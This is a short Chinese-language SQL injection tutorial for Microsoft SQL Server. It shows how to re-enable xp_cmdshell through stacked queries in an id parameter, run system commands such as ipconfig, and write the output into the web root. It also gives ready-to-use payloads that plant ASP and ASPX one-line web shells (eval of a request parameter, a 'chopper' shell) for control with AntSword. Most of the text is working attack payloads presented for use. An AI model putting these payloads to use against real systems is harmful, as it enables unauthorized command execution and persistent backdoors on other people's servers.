sqlserver执行系统命令

2023-02-21 00:00:00 执行 专区 订阅 命令 开启

在sql server 中是可以执行多行操作的

两条sql语句可以用分号隔开

select * from art;select * from admin

如果要执行系统命令需要开启 xp_cmdshell

xp_cmdshell 默认在mssql2000中是可以开启的,在mssql2005之后的版本则默认禁止;

如果用户拥有管理员sa权限则可用sp_configure重新开启。

id=1;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

有的时候不支持多句执行:
exec sp_configure 'show advanced options', 1; 开启选项
RECONFIGURE; 配置生效
exec sp_configure'xp_cmdshell', 1; 开启xp_cmdshell
RECONFIGURE; 配置生效

执行系统命令

1;EXEC master..xp_cmdshell 'ipconfig'
1;EXEC master.dbo.xp_cmdshell 'ipconfig'

页面正常,说明命令被执行成功

但是并没有限制 ipconfig 的结果;

可以通过写入到文件,在访问文件

id=1;EXEC master..xp_cmdshell 'ipconfig >>C:\inetpub\wwwroot\www.demo1.com\ip1.txt'

id=1;EXEC master.dbo.xp_cmdshell 'ipconfig >>C:\inetpub\wwwroot\www.demo1.com\ip1.txt'

getshell

 --后面有一个空格   --空格
id=1;exec master..xp_cmdshell 'echo ^<%eval request("pass")%^> >C:\inetpub\wwwroot\www.demo1.com\ip2.asp'--

exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["chopper"],"unsafe");%^>>D:\2.aspx' --

蚁剑测试



本文来源https://www.modb.pro/db/75532



相关文章